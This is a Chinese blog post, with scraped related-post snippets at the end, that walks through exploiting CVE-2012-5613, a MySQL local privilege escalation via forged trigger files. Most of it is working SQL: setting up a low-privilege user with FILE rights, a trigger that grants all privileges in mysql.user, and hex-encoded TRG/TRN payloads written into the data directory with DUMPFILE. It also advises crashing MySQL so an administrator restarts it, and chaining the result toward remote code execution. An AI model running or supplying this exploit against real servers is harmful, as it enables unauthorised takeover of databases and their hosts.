cve-2012-5613 mysql本地提权

cve-2012-5613  是一个通过FILE权限写Trigger的TRG存储文件(即伪造Trigger),由root触发而导致权限提升的漏洞。不知道为什么这个漏洞一直没修,可能mysql认为这是一个特性吧。

准备

测试环境:

Server version: 5.5.48-log Source distribution

在test数据库中创建一个触发器:

create table foo (a INT, b INT, ts TIMESTAMP);

create table bar (a INT, b INT);

INSERT INTO foo (a,b) VALUES(1,1);

INSERT INTO foo (a,b) VALUES(2,2);

INSERT INTO foo (a,b) VALUES(3,3);

DELIMITER ///

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

FOR EACH ROW

BEGIN

IF NEW.ts <> OLD.ts THEN

INSERT INTO bar (a, b) VALUES(NEW.a, NEW.b);

END IF;

END;

///

DELIMITER ;

创建触发器完成后,发现在mysql目录(/usr/local/mysql/var/test/)生成foo.TRG和ins_sum.TRN文件,所有者为mysql

换一个更简单的Trigger:

DROP TRIGGER IF EXISTS ins_sum;

DELIMITER ///

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

FOR EACH ROW

BEGIN

update user set sex =3 where id =1  ;

END;

///

DELIMITER ;

此时TRG文件内容:

TYPE=TRIGGERS

\n    END‘    update user set sex =3 where id =1  ; AFTER UPDATE ON foo

sql_modes=0

definers=‘[email protected]%‘

client_cs_names=‘utf8mb4‘

connection_cl_names=‘utf8mb4_general_ci‘

db_cl_names=‘utf8mb4_general_ci‘

开始测试:

创建一个普通用户,只有file权限+test的select权限

CREATE USER ‘sec_usr123‘@‘%‘  IDENTIFIED BY ‘sec_usr123‘;

GRANT FILE ON *.* TO ‘sec_usr123‘@‘%‘ ;

GRANT SELECT ON `test`.* TO ‘sec_usr123‘@‘%‘;

flush privileges

在root下,创建一个触发器,试图直接通过触发器触发将普通用户变为super user失败:

DROP TRIGGER IF EXISTS ins_sum;

DELIMITER ///

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

FOR EACH ROW

BEGIN

grant all privileges on *.* to [email protected]‘%‘ with grant option;

END;

///

DELIMITER ;

换一种写法(https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/23077.pl):

DROP TRIGGER IF EXISTS ins_sum;

DELIMITER ///

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

FOR EACH ROW

BEGIN

UPDATE  mysql.user  SET  Select_priv=‘Y‘,  Insert_priv=‘Y‘,  Update_priv=‘Y‘,  Delete_priv=‘Y‘,  Create_priv=‘Y‘,  Drop_priv=‘Y‘,  Reload_priv=‘Y‘,  Shutdown_priv=‘Y‘,  Process_priv=‘Y‘,  File_priv=‘Y‘,  Grant_priv=‘Y‘,  References_priv=‘Y‘,  Index_priv=‘Y‘,  Alter_priv=‘Y‘,  Show_db_priv=‘Y‘,  Super_priv=‘Y‘,  Create_tmp_table_priv=‘Y‘,  Lock_tables_priv=‘Y‘,  Execute_priv=‘Y‘,  Repl_slave_priv=‘Y‘,  Repl_client_priv=‘Y‘,  Create_view_priv=‘Y‘,  Show_view_priv=‘Y‘,  Create_routine_priv=‘Y‘,  Alter_routine_priv=‘Y‘,  Create_user_priv=‘Y‘,  ssl_type=‘Y‘,  ssl_cipher=‘Y‘,  x509_issuer=‘Y‘,  x509_subject=‘Y‘,max_questions=‘Y‘,  max_updates=‘Y‘,  max_connections=‘Y‘  WHERE  User=‘sec_usr1234foo‘;

END;

///

DELIMITER ;

成功。

尝试使用fie权限写入触发器目录:

SELECT   ‘1111‘  INTO OUTFILE  ‘/usr/local/mysql/var/test/1.txt‘

写入成功。

通过outfile写文件的方式(此方式文件已存在则报错)

普通用户sec_usr现在使用file权限创建TRG文件:

SELECT   ‘TYPE=TRIGGERS\ntriggers=\‘CREATE DEFINER=\`root\`@\`%\` TRIGGER ins_sum AFTER UPDATE ON foo\n\\n    FOR EACH ROW\n\\n    BEGIN\n\\n\n\\n            update user set sex =3 where id =1  ;\n\\n\n\\n    END\‘\nsql_modes=0\ndefiners=\‘[email protected]%\‘\nclient_cs_names=\‘utf8mb4\‘\nconnection_cl_names=\‘utf8mb4_general_ci\‘\ndb_cl_names=\‘utf8mb4_general_ci\‘   ‘

INTO OUTFILE  ‘/usr/local/mysql/var/test/foo.TRG‘   FIELDS ESCAPED BY ‘ ‘;

SELECT   ‘TYPE=TRIGGERNAME\ntrigger_table=foo‘ INTO OUTFILE  ‘/usr/local/mysql/var/test/ins_sum.TRN‘  FIELDS ESCAPED BY ‘ ‘;

重启mysql

sudo /etc/init.d/mysql restart

多次尝试发现有backslash带入,mysql重启加载失败。

换16进制写入,注意要使用dumpfile而不是outfile:

SELECT 545950453D54524947474552530A74726967676572733D2743524541544520444546494E45523D60726F6F746040602560205452494747455220696E735F73756D20414654455220555044415445204F4E20666F6F0D5C6E20202020464F52204541434820524F570D5C6E20202020424547494E0D5C6E202020202020202055504441544520206D7973716C2E757365722020534554202053656C6563745F707269763D5C27595C272C2020496E736572745F707269763D5C27595C272C20205570646174655F707269763D5C27595C272C202044656C6574655F707269763D5C27595C272C20204372656174655F707269763D5C27595C272C202044726F705F707269763D5C27595C272C202052656C6F61645F707269763D5C27595C272C202053687574646F776E5F707269763D5C27595C272C202050726F636573735F707269763D5C27595C272C202046696C655F707269763D5C27595C272C20204772616E745F707269763D5C27595C272C20205265666572656E6365735F707269763D5C27595C272C2020496E6465785F707269763D5C27595C272C2020416C7465725F707269763D5C27595C272C202053686F775F64625F707269763D5C27595C272C202053757065725F707269763D5C27595C272C20204372656174655F746D705F7461626C655F707269763D5C27595C272C20204C6F636B5F7461626C65735F707269763D5C27595C272C2020457865637574655F707269763D5C27595C272C20205265706C5F736C6176655F707269763D5C27595C272C20205265706C5F636C69656E745F707269763D5C27595C272C20204372656174655F766965775F707269763D5C27595C272C202053686F775F766965775F707269763D5C27595C272C20204372656174655F726F7574696E655F707269763D5C27595C272C2020416C7465725F726F7574696E655F707269763D5C27595C272C20204372656174655F757365725F707269763D5C27595C272C202073736C5F747970653D5C27595C272C202073736C5F6369706865723D5C27595C272C2020783530395F6973737565723D5C27595C272C2020783530395F7375626A6563743D5C27595C272C6D61785F7175657374696F6E733D5C27595C272C20206D61785F757064617465733D5C27595C272C20206D61785F636F6E6E656374696F6E733D5C27595C27202057484552452020557365723D5C277365635F75737231323334666F6F5C273B200D5C6E20202020454E44270A73716C5F6D6F6465733D300A646566696E6572733D27726F6F744025270A636C69656E745F63735F6E616D65733D27757466386D6234270A636F6E6E656374696F6E5F636C5F6E616D65733D27757466386D62345F67656E6572616C5F6369270A64625F636C5F6E616D65733D27757466386D62345F67656E6572616C5F6369270A into dumpfile ‘/usr/local/mysql/var/test/foo.TRG‘ ;

SELECT 0x545950453D545249474745524E414D450A747269676765725F7461626C653D666F6F0A   into dumpfile ‘/usr/local/mysql/var/test/ins_sum.TRN‘ ;

重启mysql,root用户执行UPDATE进行触发:

select * from mysql.user   where User = ‘sec_usr1234foo‘;

update foo set a=9 where b=1;

select * from mysql.user   where User = ‘sec_usr1234foo‘;

总结一下cve-2012-5613:

利用条件:

1. 普通用户+file权限+select权限

2.管理员需要重启mysql一次,触发一次触发器(INSERT, UPDATE or DELETE.)

攻击方式:

最好有一个和远程环境相同的环境,预先生成TRG和TRN文件的16进制,然后通过dumpfile到目标的mysql目录里面。让管理员可以通过mysql拒绝服务,mysql宕机管理自然会重启。如何让管理员触发,则随机应变吧。

至此sec_usr1234foo获取了super user权限,可以执行set global general_log,结合上上篇文章CVE-2016-6662( http://www.cnblogs.com/xiaoxiaoleo/p/5873091.html),就达到了所谓的普通用户远程RCE的效果。

时间: 2024-09-30 04:25:37

cve-2012-5613 mysql本地提权的相关文章

基于RedHat发行的Apache Tomcat本地提权漏洞

描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于RedHat发行版Apache Tomcat,包括CentOS,RedHat,OracleLinux,Fedora等等.主要原因是普通Tomcat用户拥有权限来对/usr/lib/tmpfiles.d/tomcat.conf这个配置文件进行读写,那么该用户组成员或者拥有普通Tomcat权限的WebSh

小白日记21:kali渗透测试之提权(一)--本地提权

本地提权 简单地说,本地提权漏洞就是说一个本来非常低权限.受限制的用户,可以提升到系统至高无上的权限.权限提升漏洞通常是一种"辅助"性质的漏洞,当黑客已经通过某种手段进入了目标机器后,可以利用他进入更高的状态.但并不是说这种漏洞不严重.难以利用,往往这种漏洞更容易被利用.带来的后果比远程漏洞更可怕,这种漏洞实际上远比远程漏洞稀有,往往一个微软本地提权漏洞在国外的价格就可以到几百万美金.因为远程漏洞其实是很普遍的,一个网站存在网页问题,就可能被篡改,传入WEBSHELL(一种控制网站机器

android ioctl fuzz,android 本地提权漏洞 android root

目前正在研究android 三方设备驱动 fuzzer , 也就是下图所说的 ioctl fuzzing, 下图是由keen team nforest 大神发布: 欢迎正在研究此方面的人联系我共同交流进步!Email:  Blind Fuzz Smart Fuzz android 内核栈溢出android slab/slub 类堆溢出android 数组越界导致的复写内核中的重要数据android 内核信息泄漏android null pointer deference 空指针引用android

本地提权

权限提升就是将某个用户原来拥有的最低权限提升到最高.已实现本地低权限账号登陆. windows下user,administrator,system administrator的权限包含user的所有权限.system的权限要大于administrator,一些文件和注册表是administrator无法查看的,但是administrator和user的一点点的权限,system是不具备的. linux下,除了root用户以外全是user用户.root用户相当于windows下的administr

/dev/socket/vold exploit 本地提权漏洞

EXPLOIT "0 asec create ../../../../../../../../xxxxx/xx/xx/xx 1 ext4 98235792350852308254872354983460 2000 1" /dev/socket/vold 分析中... 一起研究分析  /dev/socket/vold exploit 本地提权漏洞

脏牛Linux本地提权漏洞复现(CVE-2016-5195)

学习该漏洞的原因: 总是看到圈子里一位老哥发文章使用这个漏洞来提权,进过测试发现centos比较难提取,而Ubuntu是比较好提权的. 漏洞范围: Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复) 危害: 低权限用户利用该漏洞可以在众多Linux系统上实现本地提权 简要分析: 该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空

CVE-2020-0796 SMBv3本地提权

SMBv3介绍 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsoft Windows的计算机,在引入Active Directory之前被称为“ Microsoft Windows网络” .相应的Windows服务是用于服务器组件的LAN Manager服务器和用于客户端组件的LAN Manager工作站. 提权利用 互联网公开出现利用该漏洞实现本地提权,该EX

MySQL UDF提权获取主机控制权

UDF(User defined function)是MySQL的一个拓展接口,用来扩展MySQL的功能.在具备MySQL管理员访问权限的条件下,可利用该特性进行提权,获取所在主机的控制权.下面以windows主机为例,给出具体的步骤: 1.python clock.py -d -i lib_mysqludfsys.dll此步是获取攻击用的UDF dll.首先要安装sqlmap,然后运行上述命令即可得到解码之后的UDF dll.(sqlmap对其进行编码是为了免杀) 2.mysql -h tar

kali权限提升之本地提权

系统账号之间权限隔离 操作系统的安全基础 用户空间 内核空间 系统账号: 用户账号登陆时候获取权限令牌 服务账号无需用户登录已在后台启动服务 windows用户全权限划分: Users:普通用户组,Users 组是最安全的组,因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料 Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权.分配给该组的默认权限允许对整个系统进行完全控制 System:拥有和Administr